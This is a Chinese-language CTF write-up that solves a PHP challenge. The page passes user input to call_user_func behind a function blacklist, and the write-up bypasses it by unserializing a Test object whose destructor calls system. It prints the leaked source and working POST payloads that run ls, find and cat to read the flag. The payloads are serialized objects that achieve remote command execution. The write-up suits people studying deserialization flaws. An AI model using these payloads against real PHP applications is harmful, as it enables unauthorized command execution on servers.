访问题目地址,看到一个简单的页面,背景图,以及一段 JavaScript 代码,页面会在 5 秒后自动提交一个表单。

666

页面分析

抓包查看源码
666

页面会自动提交 func=datep=Y-m-d h:i:s a 两个参数,返回当前时间。
这刚好和data(“Y-m-d h:i:s a”)格式一致,所以猜测func是一个函数,p是函数的参数

源码获取

尝试用 highlight_file 函数读取源码:

1
POST: func=highlight_file&p=index.php

成功获取到完整源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
$disable_fun = array(
"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo",
"popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg",
"assert","substr_replace","call_user_func_array","call_user_func","array_filter",
"array_walk","array_map","registregister_shutdown_function","register_tick_function",
"filter_var","filter_var_array","uasort","uksort","array_reduce","array_walk",
"array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
);

function gettime($func, $p) {
$result = call_user_func($func, $p);
$a = gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}

class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func, $disable_fun)) {
echo gettime($func, $p);
} else {
die("Hacker...");
}
}
?>

代码审计

漏洞点1:call_user_func 动态调用

gettime() 函数使用 call_user_func($func, $p) 动态调用任意函数,仅对第一个参数 $func 做黑名单过滤。这本身就存在风险,但由于黑名单的存在,直接传 system, exec 等会被拦截。

漏洞点2:Test 类的 __destruct 魔术方法

Test 类的析构方法 __destruct() 会调用 gettime($this->func, $this->p)注意这里没有黑名单检查!

1
2
3
4
5
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p); // 无黑名单检查!
}
}

漏洞点3:unserialize 不在黑名单中

检查 $disable_fun 黑名单数组,发现 unserialize 函数并没有被禁用!

利用思路

  1. 通过 unserialize 函数(不在黑名单中)触发反序列化
  2. 构造一个序列化的 Test 对象,将 $func 设为 system$p 设为要执行的命令
  3. 对象生命周期结束时会调用 __destruct(),从而绕过黑名单执行任意命令

利用链

1
2
3
4
5
index.php(接收func=unserialize&p=序列化payload)
→ call_user_func("unserialize", $payload) // 反序列化,创建Test对象
→ Test::__destruct() // 对象析构
→ gettime($this->func, $this->p) // 绕过黑名单
→ call_user_func("system", "cat /tmp/flagoefiu4r93") // RCE!

解题过程

第1步:确认反序列化可用

先执行一个简单的 ls 命令验证反序列化RCE是否可用:

1
POST: func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

666
成功执行!目录下存在index.php和bg.jpg文件

第2步:查找flag文件

使用 find 命令搜索 flag 文件:

1
POST: func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}

666

找到flag路径为 /tmp/flagoefiu4r93

第3步:读取flag

1
POST: func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

成功找到flag
666